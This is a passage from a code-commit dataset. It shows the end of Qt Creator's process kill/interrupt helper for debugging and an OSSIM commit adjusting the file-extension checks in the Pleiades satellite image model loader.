break;\n }\n }\n } while (false);\n if (inferior != NULL)\n CloseHandle(inferior);\n#else\n Q_UNUSED(specialInterrupt)\n if (pid <= 0)\n appendMsgCannotInterrupt(pid, tr(\"Invalid process id.\"));\n else if (kill(pid, SIGINT))\n appendMsgCannotInterrupt(pid, QString::fromLocal8Bit(strerror(errno)));\n#endif \/\/ Q_OS_WIN\n}\n\n} \/\/ namespace ProjectExplorer\n<commit_msg>ProjectExplorer: Fix build.<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2013 Digia Plc and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia. For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing. For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights. These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n#include \"desktopprocesssignaloperation.h\"\n\n#include \"localprocesslist.h\"\n\n#include <utils\/winutils.h>\n\n#include <QCoreApplication>\n#include <QDir>\n\n#ifdef Q_OS_WIN\n#define _WIN32_WINNT 0x0502\n#include <windows.h>\n#ifndef PROCESS_SUSPEND_RESUME\n#define PROCESS_SUSPEND_RESUME 0x0800\n#endif \/\/ PROCESS_SUSPEND_RESUME\n#else \/\/ Q_OS_WIN\n#include <errno.h>\n#include <signal.h>\n#endif \/\/ else Q_OS_WIN\n\nnamespace ProjectExplorer {\n\nvoid DesktopProcessSignalOperation::killProcess(int pid)\n{\n killProcessSilently(pid);\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::killProcess(const QString &filePath)\n{\n m_errorMessage.clear();\n foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) {\n if (process.cmdLine == filePath)\n killProcessSilently(process.pid);\n }\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::interruptProcess(int pid)\n{\n m_errorMessage.clear();\n interruptProcessSilently(pid);\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::interruptProcess(const QString &filePath)\n{\n interruptProcess(filePath, NoSpecialInterrupt);\n}\n\nvoid DesktopProcessSignalOperation::interruptProcess(int pid, SpecialInterrupt specialInterrupt)\n{\n m_errorMessage.clear();\n interruptProcessSilently(pid, specialInterrupt);\n}\n\nvoid DesktopProcessSignalOperation::interruptProcess(const QString &filePath,\n SpecialInterrupt specialInterrupt)\n{\n m_errorMessage.clear();\n foreach (const DeviceProcessItem &process, Internal::LocalProcessList::getLocalProcesses()) {\n if (process.cmdLine == filePath)\n interruptProcessSilently(process.pid, specialInterrupt);\n }\n emit finished(m_errorMessage);\n}\n\nvoid DesktopProcessSignalOperation::appendMsgCannotKill(int pid, const QString &why)\n{\n if (!m_errorMessage.isEmpty())\n m_errorMessage += QChar::fromLatin1('\\n');\n m_errorMessage += tr(\"Cannot kill process with pid %1: %3 \").arg(pid).arg(why);\n}\n\nvoid DesktopProcessSignalOperation::appendMsgCannotInterrupt(int pid, const QString &why)\n{\n if (!m_errorMessage.isEmpty())\n m_errorMessage += QChar::fromLatin1('\\n');\n m_errorMessage += tr(\"Cannot interrupt process with pid %1: %3 \").arg(pid).arg(why);\n}\n\nvoid DesktopProcessSignalOperation::killProcessSilently(int pid)\n{\n#ifdef Q_OS_WIN\n const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION\n |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ\n |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME;\n if (const HANDLE handle = OpenProcess(rights, FALSE, pid)) {\n if (!TerminateProcess(handle, UINT(-1)))\n appendMsgCannotKill(pid, Utils::winErrorMessage(GetLastError()));\n CloseHandle(handle);\n } else {\n appendMsgCannotKill(pid, tr(\"Cannot open process.\"));\n }\n#else\n if (pid <= 0)\n appendMsgCannotKill(pid, tr(\"Invalid process id.\"));\n else if (kill(pid, SIGKILL))\n appendMsgCannotKill(pid, QString::fromLocal8Bit(strerror(errno)));\n#endif \/\/ Q_OS_WIN\n}\n\nvoid DesktopProcessSignalOperation::interruptProcessSilently(\n int pid, SpecialInterrupt specialInterrupt)\n{\n#ifdef Q_OS_WIN\n \/*\n Windows 64 bit has a 32 bit subsystem (WOW64) which makes it possible to run a\n 32 bit application inside a 64 bit environment.\n When GDB is used DebugBreakProcess must be called from the same system (32\/64 bit) running\n the inferior. If CDB is used we could in theory break wow64 processes,\n but the break is actually a wow64 breakpoint. CDB is configured to ignore these\n breakpoints, because they also appear on module loading.\n Therefore we need helper executables (win(32\/64)interrupt.exe) on Windows 64 bit calling\n DebugBreakProcess from the correct system.\n\n DebugBreak matrix for windows\n\n Api = UseDebugBreakApi\n Win64 = UseWin64InterruptHelper\n Win32 = UseWin32InterruptHelper\n N\/A = This configuration is not possible\n\n | Windows 32bit | Windows 64bit\n | QtCreator 32bit | QtCreator 32bit | QtCreator 64bit\n | Inferior 32bit | Inferior 32bit | Inferior 64bit | Inferior 32bit | Inferior 64bit\n----------|-----------------|-----------------|-----------------|-----------------|----------------\nCDB 32bit | Api | Api | N\/A | Win32 | N\/A\n 64bit | N\/A | Win64 | Win64 | Api | Api\n----------|-----------------|-----------------|-----------------|-----------------|----------------\nGDB 32bit | Api | Api | N\/A | Win32 | N\/A\n 64bit | N\/A | N\/A | Win64 | N\/A | Api\n----------|-----------------|-----------------|-----------------|-----------------|----------------\n\n *\/\n HANDLE inferior = NULL;\n do {\n const DWORD rights = PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION\n |PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ\n |PROCESS_DUP_HANDLE|PROCESS_TERMINATE|PROCESS_CREATE_THREAD|PROCESS_SUSPEND_RESUME;\n inferior = OpenProcess(rights, FALSE, pid);\n if (inferior == NULL) {\n appendMsgCannotInterrupt(pid, tr(\"Cannot open process: %1\")\n + Utils::winErrorMessage(GetLastError()));\n break;\n }\n bool creatorIs64Bit = Utils::winIs64BitBinary(qApp->applicationFilePath());\n if (!Utils::winIs64BitSystem() ||\n specialInterrupt == NoSpecialInterrupt ||\n specialInterrupt == Win64Interrupt && creatorIs64Bit ||\n specialInterrupt == Win32Interrupt && !creatorIs64Bit) {\n if (!DebugBreakProcess(inferior)) {\n appendMsgCannotInterrupt(pid, tr(\"DebugBreakProcess failed: \")\n + Utils::winErrorMessage(GetLastError()));\n }\n } else if (specialInterrupt == Win32Interrupt\n || specialInterrupt == Win64Interrupt) {\n QString executable = QCoreApplication::applicationDirPath();\n executable += specialInterrupt == Win32Interrupt\n ? QLatin1String(\"\/win32interrupt.exe\")\n : QLatin1String(\"\/win64interrupt.exe\");\n if (!QFile::exists(executable)) {\n appendMsgCannotInterrupt(pid, tr( \"%1 does not exist. If you have built QtCreator \"\n \"on your own ,checkout http:\/\/qt.gitorious.org\/\"\n \"qt-creator\/binary-artifacts.\").\n arg(QDir::toNativeSeparators(executable)));\n }\n switch (QProcess::execute(executable, QStringList(QString::number(pid)))) {\n case -2:\n appendMsgCannotInterrupt(pid, tr(\n \"Cannot start %1. Check src\\\\tools\\\\win64interrupt\\\\win64interrupt.c \"\n \"for more information.\").arg(QDir::toNativeSeparators(executable)));\n break;\n case 0:\n break;\n default:\n appendMsgCannotInterrupt(pid, QDir::toNativeSeparators(executable)\n + tr(\" could not break the process.\"));\n break;\n }\n }\n } while (false);\n if (inferior != NULL)\n CloseHandle(inferior);\n#else\n Q_UNUSED(specialInterrupt)\n if (pid <= 0)\n appendMsgCannotInterrupt(pid, tr(\"Invalid process id.\"));\n else if (kill(pid, SIGINT))\n appendMsgCannotInterrupt(pid, QString::fromLocal8Bit(strerror(errno)));\n#endif \/\/ Q_OS_WIN\n}\n\n} \/\/ namespace ProjectExplorer\n<|endoftext|>"} {"text":"<commit_before>\/\/*******************************************************************\n\/\/ Copyright (C) 2012 Centre National Etudes Spatiales\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\/\/\n\/\/ Author : Mickael Savinaud (mickael.savinaud@c-s.fr)\n\/\/\n\/\/ Description:\n\/\/\n\/\/ Contains definition of class ossimPleiadesModel\n\/\/\n\/\/*****************************************************************************\n\n#include \"ossimPleiadesModel.h\"\n\n#include <cmath>\n#include <cstdio>\n\n#include <ossimPleiadesModel.h>\n#include <ossimPleiadesDimapSupportData.h>\n\n#include <ossimPluginCommon.h>\n\n#include <ossim\/base\/ossimCommon.h>\n#include <ossim\/base\/ossimFilename.h>\n#include <ossim\/base\/ossimKeywordNames.h>\n#include <ossim\/base\/ossimNotify.h>\n#include <ossim\/base\/ossimRefPtr.h>\n#include <ossim\/base\/ossimString.h>\n#include <ossim\/base\/ossimTrace.h>\n#include <ossim\/base\/ossimXmlDocument.h>\n#include <ossim\/base\/ossimXmlNode.h>\n#include <ossim\/support_data\/ossimSupportFilesList.h>\n\n\nnamespace ossimplugins\n{\n\n\/\/ Define Trace flags for use within this file:\n static ossimTrace traceExec (\"ossimPleiadesModel:exec\");\n static ossimTrace traceDebug (\"ossimPleiadesModel:debug\");\n\n\n RTTI_DEF1(ossimPleiadesModel, \"ossimPleiadesModel\", ossimRpcModel);\n\n\/\/*************************************************************************************************\n\/\/ Constructor\n\/\/*************************************************************************************************\n ossimPleiadesModel::ossimPleiadesModel()\n :ossimRpcModel (),\n theSupportData (0)\n {\n for (unsigned int i = 0; i < 20; i++)\n {\n theLineDenCoef[i] = 0.0;\n theLineNumCoef[i] = 0.0;\n theSampNumCoef[i] = 0.0;\n theSampDenCoef[i] = 0.0;\n }\n }\n\n\/\/*************************************************************************************************\n\/\/ Constructor\n\/\/*************************************************************************************************\n ossimPleiadesModel::ossimPleiadesModel(const ossimPleiadesModel& rhs)\n :ossimRpcModel (rhs),\n theSupportData (0)\n {\n }\n\n\/\/*************************************************************************************************\n\/\/ Destructor\n\/\/*************************************************************************************************\n ossimPleiadesModel::~ossimPleiadesModel()\n {\n if (traceExec()) ossimNotify(ossimNotifyLevel_DEBUG) << \"DEBUG DESTRUCTOR: ~ossimPleiadesModel(): entering...\" << std::endl;\n\n theSupportData = 0;\n\n if (traceExec()) ossimNotify(ossimNotifyLevel_DEBUG) << \"DEBUG DESTRUCTOR: ~ossimPleiadesModel(): returning...\" << std::endl;\n }\n\/\/*************************************************************************************************\n\/\/ Infamous DUP\n\/\/*************************************************************************************************\n ossimObject* ossimPleiadesModel::dup() const\n {\n return new ossimPleiadesModel(*this);\n }\n\n\/\/*************************************************************************************************\n\/\/ Print\n\/\/*************************************************************************************************\n std::ostream& ossimPleiadesModel::print(std::ostream& out) const\n {\n \/\/ Capture stream flags since we are going to mess with them.\n std::ios_base::fmtflags f = out.flags();\n\n out << \"\\nDump of ossimPleiadesModel at address \" << (hex) << this\n << (dec)\n << \"\\n------------------------------------------------\"\n << \"\\n theImageID = \" << theImageID\n << \"\\n theImageSize = \" << theImageSize\n << \"\\n theRefGndPt = \" << theRefGndPt\n << \"\\n theRefImgPt = \" << theRefImgPt\n << \"\\n theProcessingLevel = \" << theSupportData->getProcessingLevel()\n << \"\\n------------------------------------------------\"\n << \"\\n \" << endl;\n\n \/\/ Set the flags back.\n out.flags(f);\n\n if (theSupportData->getProcessingLevel() == \"SENSOR\")\n return ossimRpcModel::print(out);\n else\n return out;\n }\n\n\/\/*************************************************************************************************\n\/\/ Save State\n\/\/*************************************************************************************************\n bool ossimPleiadesModel::saveState(ossimKeywordlist& kwl,\n const char* prefix) const\n {\n if(theSupportData.valid())\n {\n ossimString supportPrefix = ossimString(prefix) + \"support_data.\";\n theSupportData->saveState(kwl, supportPrefix);\n }\n\n \/\/ If only it is a sensor product we save parameters from RPC model, its avoid to\n \/\/ propagate a empty RPC model\n if (theSupportData->getProcessingLevel() == \"SENSOR\")\n {\n ossimRpcModel::saveState(kwl, prefix);\n return true;\n }\n else\n {\n kwl.add(prefix, \"sensor\", theSensorID, true);\n return true;\n }\n }\n\n\/\/*************************************************************************************************\n\/\/ Load State\n\/\/*************************************************************************************************\n bool ossimPleiadesModel::loadState(const ossimKeywordlist& kwl,\n const char* prefix)\n {\n if(!theSupportData)\n {\n theSupportData = new ossimPleiadesDimapSupportData;\n }\n\n ossimString supportPrefix = ossimString(prefix) + \"support_data.\";\n theSupportData->loadState(kwl, supportPrefix);\n\n \/\/ If only it is a sensor product we load parameters from RPC model only, its avoid to\n \/\/ add a empty RPC model\n if (theSupportData->getProcessingLevel() == \"SENSOR\")\n {\n ossimRpcModel::loadState(kwl, prefix);\n return true;\n }\n else\n {\n return true;\n }\n }\n\n\n\n bool\n ossimPleiadesModel::open(const ossimFilename& file)\n {\n static const char MODULE[] = \"ossimPleiadesModel::open\";\n \/\/traceDebug.setTraceFlag(true);\n\n if (traceDebug())\n {\n ossimNotify(ossimNotifyLevel_DEBUG) << MODULE << \" entered...\\n\";\n }\n\n \/\/ Make the gsd nan so it gets computed.\n theGSD.makeNan();\n\n bool result = false;\n\n \/\/ Filename used.\n ossimFilename DIMxmlFile;\n ossimFilename RPCxmlFile;\n\n \/\/ Generate metadata and rpc filename\n if ( (file.ext().downcase() != \"jp2\" && file.ext().downcase() != \"tif\")\n || !file.exists())\n {\n \/\/not a valid file\n return false;\n }\n else\n {\n \/\/ DIMAPv1\n ossimFilename DIMv1xmlFileTmp = file;\n DIMv1xmlFileTmp.setFile(\"PHRDIMAP\");\n DIMv1xmlFileTmp.setExtension(\"XML\");\n\n if (DIMv1xmlFileTmp.exists())\n {\n DIMxmlFile = DIMv1xmlFileTmp;\n RPCxmlFile = DIMv1xmlFileTmp;\n }\n else\n {\n \/\/ DIMAPv2\n DIMxmlFile = file.path();\n RPCxmlFile = file.path();\n ossimFilename DIMxmlFileTmp = file.file();\n ossimFilename RPCxmlFileTmp;\n\n DIMxmlFileTmp = DIMxmlFileTmp.file().replaceStrThatMatch(\"^IMG_\", \"DIM_\");\n DIMxmlFileTmp = DIMxmlFileTmp.replaceStrThatMatch(\"_R[0-9]+C[0-9]+\\\\.(JP2|TIF)$\", \".XML\");\n \/\/ Check if it is an XML extension\n if( DIMxmlFileTmp.ext() != \"xml\")\n return false;\n\n RPCxmlFileTmp = DIMxmlFileTmp.file().replaceStrThatMatch(\"^DIM_\", \"RPC_\");\n\n DIMxmlFile = DIMxmlFile.dirCat(DIMxmlFileTmp);\n RPCxmlFile = RPCxmlFile.dirCat(RPCxmlFileTmp);\n }\n\n if (!DIMxmlFile.exists())\n {\n if (traceDebug())\n {\n ossimNotify(ossimNotifyLevel_DEBUG) << \"PHR main DIMAP file \" << DIMxmlFile << \" doesn't exist ...\\n\";\n }\n return false;\n }\n }\n\n if (traceDebug())\n {\n ossimNotify(ossimNotifyLevel_DEBUG) << \"Metadata xml file: \" << DIMxmlFile << \"\\n\";\n ossimNotify(ossimNotifyLevel_DEBUG) << \"RPC xml file: \" << RPCxmlFile << \"\\n\";\n }\n\n ossimString processingLevel;\n \/\/ Parse the metadata xml file\n if ( !theSupportData.valid() )\n theSupportData = new ossimPleiadesDimapSupportData();\n\n if(!theSupportData->parseXmlFile(DIMxmlFile))\n {\n theSupportData = 0; \/\/ ossimRefPtr\n if (traceDebug())\n {\n ossimNotify(ossimNotifyLevel_DEBUG) << \"ossimPleiadesModel::open DEBUG:\"\n << \"\\nCould not open correctly DIMAP file\" << std::endl;\n }\n return false;\n }\n\n theSensorID = theSupportData->getSensorID();\n theImageID = theSupportData->getImageID();\n \/\/ Get the processing level (ORTHO or SENSOR or perhaps MOSAIC ?)\n processingLevel = theSupportData->getProcessingLevel();\n\n \/\/ Parse the RPC xml file if necessary\n if (RPCxmlFile.exists() && processingLevel == \"SENSOR\")\n {\n if (!theSupportData->parseXmlFile(RPCxmlFile))\n {\n theSupportData = 0; \/\/ ossimRefPtr\n ossimNotify(ossimNotifyLevel_WARN) << \"ossimPleiadesModel::open WARNING:\"\n << \"\\nCould not open correctly RPC file\" << std::endl;\n return false;\n }\n\n thePolyType = B;\n\n for (unsigned int i = 0 ; i < 20; i++ )\n {\n theLineNumCoef[i] = theSupportData->getLineNumCoeff()[i];\n theLineDenCoef[i] = theSupportData->getLineDenCoeff()[i];\n theSampNumCoef[i] = theSupportData->getSampNumCoeff()[i];\n theSampDenCoef[i] = theSupportData->getSampDenCoeff()[i];\n }\n\n theLineScale = theSupportData->getLineScale();\n theSampScale = theSupportData->getSampScale();\n theLatScale = theSupportData->getLatScale();\n theLonScale = theSupportData->getLonScale();\n theHgtScale = theSupportData->getHeightScale();\n theLineOffset = theSupportData->getLineOffset();\n theSampOffset = theSupportData->getSampOffset();\n theLatOffset = theSupportData->getLatOffset();\n theLonOffset = theSupportData->getLonOffset();\n theHgtOffset = theSupportData->getHeightOffset();\n }\n\n \/\/ TODO MSD Check if this part is necessary\n _productXmlFile = DIMxmlFile;\n ossimSupportFilesList::instance()->add(_productXmlFile);\n\n \/\/ TODO MSD WARNING File with multi tiles are not well managed\n theSupportData->getImageRect(theImageClipRect);\n theSupportData->getImageSize(theImageSize);\n\n finishConstruction();\n clearErrorStatus();\n\n result = true;\n if (traceDebug())\n {\n ossimNotify(ossimNotifyLevel_DEBUG) << MODULE << \" exit status = \" << (result ? \"true\" : \"false\\n\") << std::endl;\n }\n\n \/*std::cout << \"---------------------------\" << std::endl;\n print(std::cout);\n std::cout << \"---------------------------\" << std::endl;*\/\n return result;\n }\n\n\/\/*************************************************************************************************\n\/\/! Collects common code among all parsers\n\/\/*************************************************************************************************\n void ossimPleiadesModel::finishConstruction()\n {\n theImageSize.line = theImageClipRect.height();\n theImageSize.samp = theImageClipRect.width();\n theRefImgPt.line = theImageClipRect.midPoint().y;\n theRefImgPt.samp = theImageClipRect.midPoint().x;\n theRefGndPt.lat = theLatOffset;\n theRefGndPt.lon = theLonOffset;\n theRefGndPt.hgt = theHgtOffset;\n\n \/\/---\n \/\/ NOTE: We must call \"updateModel()\" to set parameter used by base\n \/\/ ossimRpcModel prior to calling lineSampleHeightToWorld or all\n \/\/ the world points will be same.\n \/\/---\n updateModel();\n\n ossimGpt v0, v1, v2, v3;\n lineSampleHeightToWorld(theImageClipRect.ul(), theHgtOffset, v0);\n lineSampleHeightToWorld(theImageClipRect.ur(), theHgtOffset, v1);\n lineSampleHeightToWorld(theImageClipRect.lr(), theHgtOffset, v2);\n lineSampleHeightToWorld(theImageClipRect.ll(), theHgtOffset, v3);\n\n theBoundGndPolygon = ossimPolygon (ossimDpt(v0), ossimDpt(v1), ossimDpt(v2), ossimDpt(v3));\n\n \/\/ Set the ground reference point using the model.\n lineSampleHeightToWorld(theRefImgPt, theHgtOffset, theRefGndPt);\n\n if( theGSD.hasNans() )\n {\n try\n {\n \/\/ This will set theGSD and theMeanGSD. Method throws ossimException.\n computeGsd();\n }\n catch (const ossimException& e)\n {\n ossimNotify(ossimNotifyLevel_WARN)\n << \"ossimPleiadesModel::finishConstruction -- caught exception:\\n\"\n << e.what() << std::endl;\n }\n }\n }\n\n}\n<commit_msg>BUG: take care of the case in the test about extension<commit_after>\/\/*******************************************************************\n\/\/ Copyright (C) 2012 Centre National Etudes Spatiales\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\/\/\n\/\/ Author : Mickael Savinaud (mickael.savinaud@c-s.fr)\n\/\/\n\/\/ Description:\n\/\/\n\/\/ Contains definition of class ossimPleiadesModel\n\/\/\n\/\/*****************************************************************************\n\n#include \"ossimPleiadesModel.h\"\n\n#include <cmath>\n#include <cstdio>\n\n#include <ossimPleiadesModel.h>\n#include <ossimPleiadesDimapSupportData.h>\n\n#include <ossimPluginCommon.h>\n\n#include <ossim\/base\/ossimCommon.h>\n#include <ossim\/base\/ossimFilename.h>\n#include <ossim\/base\/ossimKeywordNames.h>\n#include <ossim\/base\/ossimNotify.h>\n#include <ossim\/base\/ossimRefPtr.h>\n#include <ossim\/base\/ossimString.h>\n#include <ossim\/base\/ossimTrace.h>\n#include <ossim\/base\/ossimXmlDocument.h>\n#include <ossim\/base\/ossimXmlNode.h>\n#include <ossim\/support_data\/ossimSupportFilesList.h>\n\n\nnamespace ossimplugins\n{\n\n\/\/ Define Trace flags for use within this file:\n static ossimTrace traceExec (\"ossimPleiadesModel:exec\");\n static ossimTrace traceDebug (\"ossimPleiadesModel:debug\");\n\n\n RTTI_DEF1(ossimPleiadesModel, \"ossimPleiadesModel\", ossimRpcModel);\n\n\/\/*************************************************************************************************\n\/\/ Constructor\n\/\/*************************************************************************************************\n ossimPleiadesModel::ossimPleiadesModel()\n :ossimRpcModel (),\n theSupportData (0)\n {\n for (unsigned int i = 0; i < 20; i++)\n {\n theLineDenCoef[i] = 0.0;\n theLineNumCoef[i] = 0.0;\n theSampNumCoef[i] = 0.0;\n theSampDenCoef[i] = 0.0;\n }\n }\n\n\/\/*************************************************************************************************\n\/\/ Constructor\n\/\/*************************************************************************************************\n ossimPleiadesModel::ossimPleiadesModel(const ossimPleiadesModel& rhs)\n :ossimRpcModel (rhs),\n theSupportData (0)\n {\n }\n\n\/\/*************************************************************************************************\n\/\/ Destructor\n\/\/*************************************************************************************************\n ossimPleiadesModel::~ossimPleiadesModel()\n {\n if (traceExec()) ossimNotify(ossimNotifyLevel_DEBUG) << \"DEBUG DESTRUCTOR: ~ossimPleiadesModel(): entering...\" << std::endl;\n\n theSupportData = 0;\n\n if (traceExec()) ossimNotify(ossimNotifyLevel_DEBUG) << \"DEBUG DESTRUCTOR: ~ossimPleiadesModel(): returning...\" << std::endl;\n }\n\/\/*************************************************************************************************\n\/\/ Infamous DUP\n\/\/*************************************************************************************************\n ossimObject* ossimPleiadesModel::dup() const\n {\n return new ossimPleiadesModel(*this);\n }\n\n\/\/*************************************************************************************************\n\/\/ Print\n\/\/*************************************************************************************************\n std::ostream& ossimPleiadesModel::print(std::ostream& out) const\n {\n \/\/ Capture stream flags since we are going to mess with them.\n std::ios_base::fmtflags f = out.flags();\n\n out << \"\\nDump of ossimPleiadesModel at address \" << (hex) << this\n << (dec)\n << \"\\n------------------------------------------------\"\n << \"\\n theImageID = \" << theImageID\n << \"\\n theImageSize = \" << theImageSize\n << \"\\n theRefGndPt = \" << theRefGndPt\n << \"\\n theRefImgPt = \" << theRefImgPt\n << \"\\n theProcessingLevel = \" << theSupportData->getProcessingLevel()\n << \"\\n------------------------------------------------\"\n << \"\\n \" << endl;\n\n \/\/ Set the flags back.\n out.flags(f);\n\n if (theSupportData->getProcessingLevel() == \"SENSOR\")\n return ossimRpcModel::print(out);\n else\n return out;\n }\n\n\/\/*************************************************************************************************\n\/\/ Save State\n\/\/*************************************************************************************************\n bool ossimPleiadesModel::saveState(ossimKeywordlist& kwl,\n const char* prefix) const\n {\n if(theSupportData.valid())\n {\n ossimString supportPrefix = ossimString(prefix) + \"support_data.\";\n theSupportData->saveState(kwl, supportPrefix);\n }\n\n \/\/ If only it is a sensor product we save parameters from RPC model, its avoid to\n \/\/ propagate a empty RPC model\n if (theSupportData->getProcessingLevel() == \"SENSOR\")\n {\n ossimRpcModel::saveState(kwl, prefix);\n return true;\n }\n else\n {\n kwl.add(prefix, \"sensor\", theSensorID, true);\n return true;\n }\n }\n\n\/\/*************************************************************************************************\n\/\/ Load State\n\/\/*************************************************************************************************\n bool ossimPleiadesModel::loadState(const ossimKeywordlist& kwl,\n const char* prefix)\n {\n if(!theSupportData)\n {\n theSupportData = new ossimPleiadesDimapSupportData;\n }\n\n ossimString supportPrefix = ossimString(prefix) + \"support_data.\";\n theSupportData->loadState(kwl, supportPrefix);\n\n \/\/ If only it is a sensor product we load parameters from RPC model only, its avoid to\n \/\/ add a empty RPC model\n if (theSupportData->getProcessingLevel() == \"SENSOR\")\n {\n ossimRpcModel::loadState(kwl, prefix);\n return true;\n }\n else\n {\n return true;\n }\n }\n\n\n\n bool\n ossimPleiadesModel::open(const ossimFilename& file)\n {\n static const char MODULE[] = \"ossimPleiadesModel::open\";\n \/\/traceDebug.setTraceFlag(true);\n\n if (traceDebug())\n {\n ossimNotify(ossimNotifyLevel_DEBUG) << MODULE << \" entered...\\n\";\n }\n\n \/\/ Make the gsd nan so it gets computed.\n theGSD.makeNan();\n\n bool result = false;\n\n \/\/ Filename used.\n ossimFilename DIMxmlFile;\n ossimFilename RPCxmlFile;\n\n \/\/ Generate metadata and rpc filename\n if ( (file.ext().downcase() != \"jp2\" && file.ext().downcase() != \"tif\")\n || !file.exists())\n {\n \/\/not a valid file\n return false;\n }\n else\n {\n \/\/ DIMAPv1\n ossimFilename DIMv1xmlFileTmp = file;\n DIMv1xmlFileTmp.setFile(\"PHRDIMAP\");\n DIMv1xmlFileTmp.setExtension(\"XML\");\n\n if (DIMv1xmlFileTmp.exists())\n {\n DIMxmlFile = DIMv1xmlFileTmp;\n RPCxmlFile = DIMv1xmlFileTmp;\n }\n else\n {\n \/\/ DIMAPv2\n DIMxmlFile = file.path();\n RPCxmlFile = file.path();\n ossimFilename DIMxmlFileTmp = file.file();\n ossimFilename RPCxmlFileTmp;\n\n DIMxmlFileTmp = DIMxmlFileTmp.file().replaceStrThatMatch(\"^IMG_\", \"DIM_\");\n DIMxmlFileTmp = DIMxmlFileTmp.replaceStrThatMatch(\"_R[0-9]+C[0-9]+\\\\.(JP2|TIF)$\", \".XML\");\n \/\/ Check if it is an XML extension\n if( DIMxmlFileTmp.ext() != \"xml\")\n return false;\n\n RPCxmlFileTmp = DIMxmlFileTmp.file().replaceStrThatMatch(\"^DIM_\", \"RPC_\");\n if( DIMxmlFileTmp.ext() != \"XML\")\n return false;\n\n DIMxmlFile = DIMxmlFile.dirCat(DIMxmlFileTmp);\n RPCxmlFile = RPCxmlFile.dirCat(RPCxmlFileTmp);\n }\n\n if (!DIMxmlFile.exists())\n {\n if (traceDebug())\n {\n ossimNotify(ossimNotifyLevel_DEBUG) << \"PHR main DIMAP file \" << DIMxmlFile << \" doesn't exist ...\\n\";\n }\n return false;\n }\n }\n\n if (traceDebug())\n {\n ossimNotify(ossimNotifyLevel_DEBUG) << \"Metadata xml file: \" << DIMxmlFile << \"\\n\";\n ossimNotify(ossimNotifyLevel_DEBUG) << \"RPC xml file: \" << RPCxmlFile << \"\\n\";\n }\n\n ossimString processingLevel;\n \/\/ Parse the metadata xml file\n if ( !theSupportData.valid() )\n theSupportData = new ossimPleiadesDimapSupportData();\n\n if(!theSupportData->parseXmlFile(DIMxmlFile))\n {\n theSupportData = 0; \/\/ ossimRefPtr\n if (traceDebug())\n {\n ossimNotify(ossimNotifyLevel_DEBUG) << \"ossimPleiadesModel::open DEBUG:\"\n << \"\\nCould not open correctly DIMAP file\" << std::endl;\n }\n return false;\n }\n\n theSensorID = theSupportData->getSensorID();\n theImageID = theSupportData->getImageID();\n \/\/ Get the processing level (ORTHO or SENSOR or perhaps MOSAIC ?)\n processingLevel = theSupportData->getProcessingLevel();\n\n \/\/ Parse the RPC xml file if necessary\n if (RPCxmlFile.exists() && processingLevel == \"SENSOR\")\n {\n if (!theSupportData->parseXmlFile(RPCxmlFile))\n {\n theSupportData = 0; \/\/ ossimRefPtr\n ossimNotify(ossimNotifyLevel_WARN) << \"ossimPleiadesModel::open WARNING:\"\n << \"\\nCould not open correctly RPC file\" << std::endl;\n return false;\n }\n\n thePolyType = B;\n\n for (unsigned int i = 0 ; i < 20; i++ )\n {\n theLineNumCoef[i] = theSupportData->getLineNumCoeff()[i];\n theLineDenCoef[i] = theSupportData->getLineDenCoeff()[i];\n theSampNumCoef[i] = theSupportData->getSampNumCoeff()[i];\n theSampDenCoef[i] = theSupportData->getSampDenCoeff()[i];\n }\n\n theLineScale = theSupportData->getLineScale();\n theSampScale = theSupportData->getSampScale();\n theLatScale = theSupportData->getLatScale();\n theLonScale = theSupportData->getLonScale();\n theHgtScale = theSupportData->getHeightScale();\n theLineOffset = theSupportData->getLineOffset();\n theSampOffset = 